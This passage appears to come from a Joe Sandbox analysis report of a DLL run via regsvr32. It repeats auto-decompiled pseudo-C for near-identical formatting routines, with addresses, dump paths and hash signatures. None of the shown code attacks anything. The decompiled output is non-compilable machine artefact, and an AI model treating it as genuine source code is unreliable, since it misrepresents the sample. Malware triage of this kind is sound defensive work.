				void* _t143;
				signed long long _t144;

				_t140 = __r8;
				_t119 = __rcx;
				_a16 = __rbx;
				_a24 = __rsi;
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				r15b = __edx;
				_t117 = __rcx;
				r12d = 8;
				_t94 = r8d - 5;
				if (_t94 > 0) goto 0x8003b1d0;
				if (_t94 == 0) goto 0x8003b14a;
				_t95 = r8d;
				if (_t95 == 0) goto 0x8003b227;
				r8d = r8d - 1;
				if (_t95 == 0) goto 0x8003b1a0;
				r8d = r8d - 1;
				if (_t95 == 0) goto 0x8003b171;
				r8d = r8d - 1;
				if (_t95 == 0) goto 0x8003b227;
				if (r8d != 1) goto 0x8003b1f3;
				_a8 = _a8 & 0x00000000;
				_t7 =  &_a8; // -16
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003b250;
				E00000001180035154( *(__rcx + 0x28) >> 4, __rcx, __rcx, _t7);
				goto 0x8003b255;
				_a8 = _a8 & 0x00000000;
				_t13 =  &_a8; // -16
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003b196;
				_t62 = E00000001180032A2C( *(__rcx + 0x28) >> 4, __rcx, __rcx, _t13);
				goto 0x8003b255;
				E000000011800330E4(_t62, __rcx, __rcx, _t13);
				goto 0x8003b255;
				_a8 = _a8 & 0x00000000;
				_t19 =  &_a8; // -16
				_t99 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t99 == 0) goto 0x8003b1c6;
				_t66 = E00000001180032114( *(__rcx + 0x28) >> 4, __rcx, __rcx, _t19);
				goto 0x8003b255;
				E0000000118003259C(_t66, __rcx, __rcx, _t19);
				goto 0x8003b255;
				r8d = r8d - 6;
				if (_t99 == 0) goto 0x8003b14a;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x8003b14a;
				r8d = r8d - 2;
				if (_t99 == 0) goto 0x8003b14a;
				goto 0x8003b136;
				_t113 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t113 + 0x30)) = 1;
				 *((intOrPtr*)(_t113 + 0x2c)) = 0x16;
				_v48 =  *((intOrPtr*)(__rcx + 8));
				_v56 = _v56 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx, _t19, __rcx + 0x28, _t137, _t140);
				goto 0x8003b307;
				_a8 = _a8 & 0x00000000;
				_t134 = _t119 + 0x28;
				_t32 =  &_a8; // -16
				if (0 == 0) goto 0x8003b249;
				_t72 = E0000000118003356C( *_t134 >> 4, _t117, _t119, _t32);
				goto 0x8003b255;
				_t73 = E000000011800339F0(_t72, _t117, _t119, _t32);
				goto 0x8003b255;
				E000000011800355DC(_t73, _t117, _t119, _t32);
				if (0 == 0) goto 0x8003b220;
				if ( *((intOrPtr*)(_t117 + 0x470)) != 1) goto 0x8003b26f;
				if ( *((intOrPtr*)(_t117 + 0x474)) != 1) goto 0x8003b305;
				_t144 = _a8;
				if (0 == 0) goto 0x8003b28b;
				if (_t144 >= 0) goto 0x8003b28b;
				_t85 =  *_t134 | 0x00000040;
				 *_t134 = _t85;
				if ( *((intOrPtr*)(_t117 + 0x30)) >= 0) goto 0x8003b29a;
				 *((intOrPtr*)(_t117 + 0x30)) = 1;
				goto 0x8003b2b0;
				 *_t134 = _t85 & 0xfffffff7;
				E00000001180031D44(_t117, _t117 + 0x50,  *((intOrPtr*)(_t117 + 0x30)), _t134,  *((intOrPtr*)(_t117 + 8)));
				if ( ~_t144 != 0) goto 0x8003b2b8;
				 *_t134 =  *_t134 & 0xffffffdf;
				 *((char*)(_t117 + 0x4c)) = 1;
				r8b = r15b;
				if (_t143 != _t143) goto 0x8003b2d1;
				E0000000118003DE64(0, _t117,  ~_t144,  *((intOrPtr*)(_t117 + 8)));
				goto 0x8003b2d9;
				E0000000118003C904(r14d, _t117,  *((intOrPtr*)(_t117 + 8)));
				if (0 == 0) goto 0x8003b305;
				if ( *((intOrPtr*)(_t117 + 0x48)) == 0) goto 0x8003b2f6;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t117 + 0x40)))) == 0x30) goto 0x8003b305;
				 *((long long*)(_t117 + 0x40)) =  *((long long*)(_t117 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t117 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t117 + 0x48)) =  *((intOrPtr*)(_t117 + 0x48)) + 1;
				return 1;
			}






















                                                                                                        0x18003b0ec
                                                                                                        0x18003b0ec
                                                                                                        0x18003b0ec
                                                                                                        0x18003b0f1
                                                                                                        0x18003b105
                                                                                                        0x18003b109
                                                                                                        0x18003b10c
                                                                                                        0x18003b10f
                                                                                                        0x18003b115
                                                                                                        0x18003b119
                                                                                                        0x18003b11f
                                                                                                        0x18003b121
                                                                                                        0x18003b124
                                                                                                        0x18003b12a
                                                                                                        0x18003b12e
                                                                                                        0x18003b130
                                                                                                        0x18003b134
                                                                                                        0x18003b136
                                                                                                        0x18003b13a
                                                                                                        0x18003b144
                                                                                                        0x18003b14a
                                                                                                        0x18003b155
                                                                                                        0x18003b161
                                                                                                        0x18003b167
                                                                                                        0x18003b16c
                                                                                                        0x18003b171
                                                                                                        0x18003b17c
                                                                                                        0x18003b18a
                                                                                                        0x18003b18c
                                                                                                        0x18003b191
                                                                                                        0x18003b196
                                                                                                        0x18003b19b
                                                                                                        0x18003b1a0
                                                                                                        0x18003b1ab
                                                                                                        0x18003b1b7
                                                                                                        0x18003b1ba
                                                                                                        0x18003b1bc
                                                                                                        0x18003b1c1
                                                                                                        0x18003b1c6
                                                                                                        0x18003b1cb
                                                                                                        0x18003b1d0
                                                                                                        0x18003b1d4
                                                                                                        0x18003b1da
                                                                                                        0x18003b1de
                                                                                                        0x18003b1e4
                                                                                                        0x18003b1e8
                                                                                                        0x18003b1ee
                                                                                                        0x18003b1f3
                                                                                                        0x18003b1f7
                                                                                                        0x18003b1fa
                                                                                                        0x18003b1ff
                                                                                                        0x18003b203
                                                                                                        0x18003b210
                                                                                                        0x18003b215
                                                                                                        0x18003b21b
                                                                                                        0x18003b222
                                                                                                        0x18003b227
                                                                                                        0x18003b22c
                                                                                                        0x18003b232
                                                                                                        0x18003b240
                                                                                                        0x18003b242
                                                                                                        0x18003b247
                                                                                                        0x18003b249
                                                                                                        0x18003b24e
                                                                                                        0x18003b250
                                                                                                        0x18003b257
                                                                                                        0x18003b260
                                                                                                        0x18003b269
                                                                                                        0x18003b273
                                                                                                        0x18003b27c
                                                                                                        0x18003b281
                                                                                                        0x18003b286
                                                                                                        0x18003b289
                                                                                                        0x18003b28f
                                                                                                        0x18003b291
                                                                                                        0x18003b298
                                                                                                        0x18003b2a5
                                                                                                        0x18003b2ab
                                                                                                        0x18003b2b3
                                                                                                        0x18003b2b5
                                                                                                        0x18003b2b8
                                                                                                        0x18003b2bc
                                                                                                        0x18003b2c5
                                                                                                        0x18003b2ca
                                                                                                        0x18003b2cf
                                                                                                        0x18003b2d4
                                                                                                        0x18003b2e0
                                                                                                        0x18003b2eb
                                                                                                        0x18003b2f4
                                                                                                        0x18003b2f6
                                                                                                        0x18003b2ff
                                                                                                        0x18003b302
                                                                                                        0x18003b31d

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 0a90d691075c9881aa80bad67252501fb9d8b05da2eead1a43d4dd8988539b44
                                                                                                        • Instruction ID: 2f3db1bbf031ed7f2067fb8aefa533e4ba0cc4d79d97600144acb1d418459717
                                                                                                        • Opcode Fuzzy Hash: 0a90d691075c9881aa80bad67252501fb9d8b05da2eead1a43d4dd8988539b44
                                                                                                        • Instruction Fuzzy Hash: D351AE7222065886E7F78E29C0557EF23A0E74979CF168206FB49866D5CF36CA4AC701
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800391A0 Relevance: .2, Instructions: 157COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 72%
                                                                                                        			E000000011800391A0(void* __edx, long long __rbx, void* __rcx, long long __rsi, void* __r8, void* __r10, signed int _a8, long long _a16, long long _a24) {
				long long _v48;
				signed long long _v56;
				void* __rbp;
				void* _t62;
				void* _t66;
				void* _t72;
				void* _t73;
				signed int _t85;
				void* _t94;
				intOrPtr _t95;
				signed int _t99;
				intOrPtr _t113;
				void* _t117;
				void* _t119;
				signed int* _t134;
				void* _t137;
				void* _t140;
				void* _t142;
				void* _t143;
				signed long long _t144;

				_t142 = __r10;
				_t140 = __r8;
				_t119 = __rcx;
				_a16 = __rbx;
				_a24 = __rsi;
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				r15b = __edx;
				_t117 = __rcx;
				r12d = 8;
				_t94 = r8d - 5;
				if (_t94 > 0) goto 0x80039284;
				if (_t94 == 0) goto 0x800391fe;
				_t95 = r8d;
				if (_t95 == 0) goto 0x800392db;
				r8d = r8d - 1;
				if (_t95 == 0) goto 0x80039254;
				r8d = r8d - 1;
				if (_t95 == 0) goto 0x80039225;
				r8d = r8d - 1;
				if (_t95 == 0) goto 0x800392db;
				if (r8d != 1) goto 0x800392a7;
				_a8 = _a8 & 0x00000000;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x80039304;
				E00000001180035048( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x80039309;
				_a8 = _a8 & 0x00000000;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003924a;
				_t62 = E00000001180032920( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x80039309;
				E00000001180032FD8(_t62, __rcx, __rcx,  &_a8);
				goto 0x80039309;
				_a8 = _a8 & 0x00000000;
				_t99 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t99 == 0) goto 0x8003927a;
				_t66 = E00000001180032008( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x80039309;
				E00000001180032490(_t66, __rcx, __rcx,  &_a8);
				goto 0x80039309;
				r8d = r8d - 6;
				if (_t99 == 0) goto 0x800391fe;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x800391fe;
				r8d = r8d - 2;
				if (_t99 == 0) goto 0x800391fe;
				goto 0x800391ea;
				_t113 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t113 + 0x30)) = 1;
				 *((intOrPtr*)(_t113 + 0x2c)) = 0x16;
				_v48 =  *((intOrPtr*)(__rcx + 8));
				_v56 = _v56 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx,  &_a8, __rcx + 0x28, _t137, _t140);
				goto 0x800393bb;
				_a8 = _a8 & 0x00000000;
				_t134 = _t119 + 0x28;
				if (0 == 0) goto 0x800392fd;
				_t72 = E00000001180033460( *_t134 >> 4, _t117, _t119,  &_a8);
				goto 0x80039309;
				_t73 = E000000011800338E8(_t72, _t117, _t119,  &_a8);
				goto 0x80039309;
				E000000011800354D0(_t73, _t117, _t119,  &_a8);
				if (0 == 0) goto 0x800392d4;
				if ( *((intOrPtr*)(_t117 + 0x470)) != 1) goto 0x80039323;
				if ( *((intOrPtr*)(_t117 + 0x474)) != 1) goto 0x800393b9;
				_t144 = _a8;
				if (0 == 0) goto 0x8003933f;
				if (_t144 >= 0) goto 0x8003933f;
				_t145 =  ~_t144;
				_t85 =  *_t134 | 0x00000040;
				 *_t134 = _t85;
				if ( *((intOrPtr*)(_t117 + 0x30)) >= 0) goto 0x8003934e;
				 *((intOrPtr*)(_t117 + 0x30)) = 1;
				goto 0x80039364;
				 *_t134 = _t85 & 0xfffffff7;
				E00000001180031D44(_t117, _t117 + 0x50,  *((intOrPtr*)(_t117 + 0x30)), _t134,  *((intOrPtr*)(_t117 + 8)));
				if ( ~_t144 != 0) goto 0x8003936c;
				 *_t134 =  *_t134 & 0xffffffdf;
				 *((char*)(_t117 + 0x4c)) = 1;
				r8b = r15b;
				if (_t143 != _t143) goto 0x80039385;
				E0000000118003D4F8(_t117, _t117,  ~_t144);
				goto 0x8003938d;
				E0000000118003BFAC(r14d, _t117, _t117, _t145, _t142);
				if (0 == 0) goto 0x800393b9;
				if ( *((intOrPtr*)(_t117 + 0x48)) == 0) goto 0x800393aa;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t117 + 0x40)))) == 0x30) goto 0x800393b9;
				 *((long long*)(_t117 + 0x40)) =  *((long long*)(_t117 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t117 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t117 + 0x48)) =  *((intOrPtr*)(_t117 + 0x48)) + 1;
				return 1;
			}























                                                                                                        0x1800391a0
                                                                                                        0x1800391a0
                                                                                                        0x1800391a0
                                                                                                        0x1800391a0
                                                                                                        0x1800391a5
                                                                                                        0x1800391b9
                                                                                                        0x1800391bd
                                                                                                        0x1800391c0
                                                                                                        0x1800391c3
                                                                                                        0x1800391c9
                                                                                                        0x1800391cd
                                                                                                        0x1800391d3
                                                                                                        0x1800391d5
                                                                                                        0x1800391d8
                                                                                                        0x1800391de
                                                                                                        0x1800391e2
                                                                                                        0x1800391e4
                                                                                                        0x1800391e8
                                                                                                        0x1800391ea
                                                                                                        0x1800391ee
                                                                                                        0x1800391f8
                                                                                                        0x1800391fe
                                                                                                        0x180039215
                                                                                                        0x18003921b
                                                                                                        0x180039220
                                                                                                        0x180039225
                                                                                                        0x18003923e
                                                                                                        0x180039240
                                                                                                        0x180039245
                                                                                                        0x18003924a
                                                                                                        0x18003924f
                                                                                                        0x180039254
                                                                                                        0x18003926b
                                                                                                        0x18003926e
                                                                                                        0x180039270
                                                                                                        0x180039275
                                                                                                        0x18003927a
                                                                                                        0x18003927f
                                                                                                        0x180039284
                                                                                                        0x180039288
                                                                                                        0x18003928e
                                                                                                        0x180039292
                                                                                                        0x180039298
                                                                                                        0x18003929c
                                                                                                        0x1800392a2
                                                                                                        0x1800392a7
                                                                                                        0x1800392ab
                                                                                                        0x1800392ae
                                                                                                        0x1800392b3
                                                                                                        0x1800392b7
                                                                                                        0x1800392c4
                                                                                                        0x1800392c9
                                                                                                        0x1800392cf
                                                                                                        0x1800392d6
                                                                                                        0x1800392db
                                                                                                        0x1800392e0
                                                                                                        0x1800392f4
                                                                                                        0x1800392f6
                                                                                                        0x1800392fb
                                                                                                        0x1800392fd
                                                                                                        0x180039302
                                                                                                        0x180039304
                                                                                                        0x18003930b
                                                                                                        0x180039314
                                                                                                        0x18003931d
                                                                                                        0x180039327
                                                                                                        0x180039330
                                                                                                        0x180039335
                                                                                                        0x180039337
                                                                                                        0x18003933a
                                                                                                        0x18003933d
                                                                                                        0x180039343
                                                                                                        0x180039345
                                                                                                        0x18003934c
                                                                                                        0x180039359
                                                                                                        0x18003935f
                                                                                                        0x180039367
                                                                                                        0x180039369
                                                                                                        0x18003936c
                                                                                                        0x180039370
                                                                                                        0x180039379
                                                                                                        0x18003937e
                                                                                                        0x180039383
                                                                                                        0x180039388
                                                                                                        0x180039394
                                                                                                        0x18003939f
                                                                                                        0x1800393a8
                                                                                                        0x1800393aa
                                                                                                        0x1800393b3
                                                                                                        0x1800393b6
                                                                                                        0x1800393d1

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: a2a90db3f026f42cd1a60a2f9cb08d8b0bef027fe27c26c67feaa8429970a829
                                                                                                        • Instruction ID: 8f0d982e6c7861484aad28e618154843029f18f38894f4556ad5e851a5cb98f7
                                                                                                        • Opcode Fuzzy Hash: a2a90db3f026f42cd1a60a2f9cb08d8b0bef027fe27c26c67feaa8429970a829
                                                                                                        • Instruction Fuzzy Hash: FA51A27222165886F7F78F69C0447EA33A0E70D798F168215FA8A576D5DF36CB8AC700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800397EC Relevance: .2, Instructions: 157COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 72%
                                                                                                        			E000000011800397EC(void* __edx, long long __rbx, void* __rcx, long long __rsi, void* __r8, void* __r10, signed int _a8, long long _a16, long long _a24) {
				long long _v48;
				signed long long _v56;
				void* __rbp;
				void* _t62;
				void* _t66;
				void* _t72;
				void* _t73;
				signed int _t85;
				void* _t94;
				intOrPtr _t95;
				signed int _t99;
				intOrPtr _t113;
				void* _t117;
				void* _t119;
				signed int* _t134;
				void* _t137;
				void* _t140;
				void* _t142;
				void* _t143;
				signed long long _t144;

				_t142 = __r10;
				_t140 = __r8;
				_t119 = __rcx;
				_a16 = __rbx;
				_a24 = __rsi;
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				r15b = __edx;
				_t117 = __rcx;
				r12d = 8;
				_t94 = r8d - 5;
				if (_t94 > 0) goto 0x800398d0;
				if (_t94 == 0) goto 0x8003984a;
				_t95 = r8d;
				if (_t95 == 0) goto 0x80039927;
				r8d = r8d - 1;
				if (_t95 == 0) goto 0x800398a0;
				r8d = r8d - 1;
				if (_t95 == 0) goto 0x80039871;
				r8d = r8d - 1;
				if (_t95 == 0) goto 0x80039927;
				if (r8d != 1) goto 0x800398f3;
				_a8 = _a8 & 0x00000000;
				_t7 =  &_a8; // -16
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x80039950;
				E00000001180035154( *(__rcx + 0x28) >> 4, __rcx, __rcx, _t7);
				goto 0x80039955;
				_a8 = _a8 & 0x00000000;
				_t13 =  &_a8; // -16
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x80039896;
				_t62 = E00000001180032A2C( *(__rcx + 0x28) >> 4, __rcx, __rcx, _t13);
				goto 0x80039955;
				E000000011800330E4(_t62, __rcx, __rcx, _t13);
				goto 0x80039955;
				_a8 = _a8 & 0x00000000;
				_t19 =  &_a8; // -16
				_t99 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t99 == 0) goto 0x800398c6;
				_t66 = E00000001180032114( *(__rcx + 0x28) >> 4, __rcx, __rcx, _t19);
				goto 0x80039955;
				E0000000118003259C(_t66, __rcx, __rcx, _t19);
				goto 0x80039955;
				r8d = r8d - 6;
				if (_t99 == 0) goto 0x8003984a;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x8003984a;
				r8d = r8d - 2;
				if (_t99 == 0) goto 0x8003984a;
				goto 0x80039836;
				_t113 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t113 + 0x30)) = 1;
				 *((intOrPtr*)(_t113 + 0x2c)) = 0x16;
				_v48 =  *((intOrPtr*)(__rcx + 8));
				_v56 = _v56 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx, _t19, __rcx + 0x28, _t137, _t140);
				goto 0x80039a07;
				_a8 = _a8 & 0x00000000;
				_t134 = _t119 + 0x28;
				_t32 =  &_a8; // -16
				if (0 == 0) goto 0x80039949;
				_t72 = E0000000118003356C( *_t134 >> 4, _t117, _t119, _t32);
				goto 0x80039955;
				_t73 = E000000011800339F0(_t72, _t117, _t119, _t32);
				goto 0x80039955;
				E000000011800355DC(_t73, _t117, _t119, _t32);
				if (0 == 0) goto 0x80039920;
				if ( *((intOrPtr*)(_t117 + 0x470)) != 1) goto 0x8003996f;
				if ( *((intOrPtr*)(_t117 + 0x474)) != 1) goto 0x80039a05;
				_t144 = _a8;
				if (0 == 0) goto 0x8003998b;
				if (_t144 >= 0) goto 0x8003998b;
				_t145 =  ~_t144;
				_t85 =  *_t134 | 0x00000040;
				 *_t134 = _t85;
				if ( *((intOrPtr*)(_t117 + 0x30)) >= 0) goto 0x8003999a;
				 *((intOrPtr*)(_t117 + 0x30)) = 1;
				goto 0x800399b0;
				 *_t134 = _t85 & 0xfffffff7;
				E00000001180031D44(_t117, _t117 + 0x50,  *((intOrPtr*)(_t117 + 0x30)), _t134,  *((intOrPtr*)(_t117 + 8)));
				if ( ~_t144 != 0) goto 0x800399b8;
				 *_t134 =  *_t134 & 0xffffffdf;
				 *((char*)(_t117 + 0x4c)) = 1;
				r8b = r15b;
				if (_t143 != _t143) goto 0x800399d1;
				E0000000118003D744(_t117, _t117,  ~_t144);
				goto 0x800399d9;
				E0000000118003C1EC(r14d, _t117, _t117, _t145, _t142);
				if (0 == 0) goto 0x80039a05;
				if ( *((intOrPtr*)(_t117 + 0x48)) == 0) goto 0x800399f6;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t117 + 0x40)))) == 0x30) goto 0x80039a05;
				 *((long long*)(_t117 + 0x40)) =  *((long long*)(_t117 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t117 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t117 + 0x48)) =  *((intOrPtr*)(_t117 + 0x48)) + 1;
				return 1;
			}























                                                                                                        0x1800397ec
                                                                                                        0x1800397ec
                                                                                                        0x1800397ec
                                                                                                        0x1800397ec
                                                                                                        0x1800397f1
                                                                                                        0x180039805
                                                                                                        0x180039809
                                                                                                        0x18003980c
                                                                                                        0x18003980f
                                                                                                        0x180039815
                                                                                                        0x180039819
                                                                                                        0x18003981f
                                                                                                        0x180039821
                                                                                                        0x180039824
                                                                                                        0x18003982a
                                                                                                        0x18003982e
                                                                                                        0x180039830
                                                                                                        0x180039834
                                                                                                        0x180039836
                                                                                                        0x18003983a
                                                                                                        0x180039844
                                                                                                        0x18003984a
                                                                                                        0x180039855
                                                                                                        0x180039861
                                                                                                        0x180039867
                                                                                                        0x18003986c
                                                                                                        0x180039871
                                                                                                        0x18003987c
                                                                                                        0x18003988a
                                                                                                        0x18003988c
                                                                                                        0x180039891
                                                                                                        0x180039896
                                                                                                        0x18003989b
                                                                                                        0x1800398a0
                                                                                                        0x1800398ab
                                                                                                        0x1800398b7
                                                                                                        0x1800398ba
                                                                                                        0x1800398bc
                                                                                                        0x1800398c1
                                                                                                        0x1800398c6
                                                                                                        0x1800398cb
                                                                                                        0x1800398d0
                                                                                                        0x1800398d4
                                                                                                        0x1800398da
                                                                                                        0x1800398de
                                                                                                        0x1800398e4
                                                                                                        0x1800398e8
                                                                                                        0x1800398ee
                                                                                                        0x1800398f3
                                                                                                        0x1800398f7
                                                                                                        0x1800398fa
                                                                                                        0x1800398ff
                                                                                                        0x180039903
                                                                                                        0x180039910
                                                                                                        0x180039915
                                                                                                        0x18003991b
                                                                                                        0x180039922
                                                                                                        0x180039927
                                                                                                        0x18003992c
                                                                                                        0x180039932
                                                                                                        0x180039940
                                                                                                        0x180039942
                                                                                                        0x180039947
                                                                                                        0x180039949
                                                                                                        0x18003994e
                                                                                                        0x180039950
                                                                                                        0x180039957
                                                                                                        0x180039960
                                                                                                        0x180039969
                                                                                                        0x180039973
                                                                                                        0x18003997c
                                                                                                        0x180039981
                                                                                                        0x180039983
                                                                                                        0x180039986
                                                                                                        0x180039989
                                                                                                        0x18003998f
                                                                                                        0x180039991
                                                                                                        0x180039998
                                                                                                        0x1800399a5
                                                                                                        0x1800399ab
                                                                                                        0x1800399b3
                                                                                                        0x1800399b5
                                                                                                        0x1800399b8
                                                                                                        0x1800399bc
                                                                                                        0x1800399c5
                                                                                                        0x1800399ca
                                                                                                        0x1800399cf
                                                                                                        0x1800399d4
                                                                                                        0x1800399e0
                                                                                                        0x1800399eb
                                                                                                        0x1800399f4
                                                                                                        0x1800399f6
                                                                                                        0x1800399ff
                                                                                                        0x180039a02
                                                                                                        0x180039a1d

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: afcf7f04e5ae18f9ef17c0d35275d416754e95d6d498afc715f457bfd1fe2296
                                                                                                        • Instruction ID: cde3952c681ab5ffebfbde098808cbd5d16508b3ba381fff233b543eb24834a1
                                                                                                        • Opcode Fuzzy Hash: afcf7f04e5ae18f9ef17c0d35275d416754e95d6d498afc715f457bfd1fe2296
                                                                                                        • Instruction Fuzzy Hash: 7F51B33222165986F7E78F6DC0457EA23A0E74E7D8F16D20AFE89066D5CF36C64AC701
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800378A0 Relevance: .2, Instructions: 157COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 75%
                                                                                                        			E000000011800378A0(void* __edx, long long __rbx, void* __rcx, long long __rsi, void* __r8, void* __r10, signed int _a8, long long _a16, long long _a24) {
				long long _v48;
				signed long long _v56;
				void* __rbp;
				void* _t62;
				void* _t66;
				void* _t72;
				void* _t73;
				signed int _t85;
				void* _t94;
				intOrPtr _t95;
				signed int _t99;
				intOrPtr _t113;
				void* _t117;
				void* _t119;
				signed int* _t134;
				void* _t137;
				void* _t140;
				void* _t142;
				void* _t143;
				signed long long _t144;

				_t142 = __r10;
				_t140 = __r8;
				_t119 = __rcx;
				_a16 = __rbx;
				_a24 = __rsi;
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				r15b = __edx;
				_t117 = __rcx;
				r12d = 8;
				_t94 = r8d - 5;
				if (_t94 > 0) goto 0x80037984;
				if (_t94 == 0) goto 0x800378fe;
				_t95 = r8d;
				if (_t95 == 0) goto 0x800379db;
				r8d = r8d - 1;
				if (_t95 == 0) goto 0x80037954;
				r8d = r8d - 1;
				if (_t95 == 0) goto 0x80037925;
				r8d = r8d - 1;
				if (_t95 == 0) goto 0x800379db;
				if (r8d != 1) goto 0x800379a7;
				_a8 = _a8 & 0x00000000;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x80037a04;
				E00000001180035048( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x80037a09;
				_a8 = _a8 & 0x00000000;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003794a;
				_t62 = E00000001180032920( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x80037a09;
				E00000001180032FD8(_t62, __rcx, __rcx,  &_a8);
				goto 0x80037a09;
				_a8 = _a8 & 0x00000000;
				_t99 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t99 == 0) goto 0x8003797a;
				_t66 = E00000001180032008( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x80037a09;
				E00000001180032490(_t66, __rcx, __rcx,  &_a8);
				goto 0x80037a09;
				r8d = r8d - 6;
				if (_t99 == 0) goto 0x800378fe;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x800378fe;
				r8d = r8d - 2;
				if (_t99 == 0) goto 0x800378fe;
				goto 0x800378ea;
				_t113 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t113 + 0x30)) = 1;
				 *((intOrPtr*)(_t113 + 0x2c)) = 0x16;
				_v48 =  *((intOrPtr*)(__rcx + 8));
				_v56 = _v56 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx,  &_a8, __rcx + 0x28, _t137, _t140);
				goto 0x80037abb;
				_a8 = _a8 & 0x00000000;
				_t134 = _t119 + 0x28;
				if (0 == 0) goto 0x800379fd;
				_t72 = E00000001180033460( *_t134 >> 4, _t117, _t119,  &_a8);
				goto 0x80037a09;
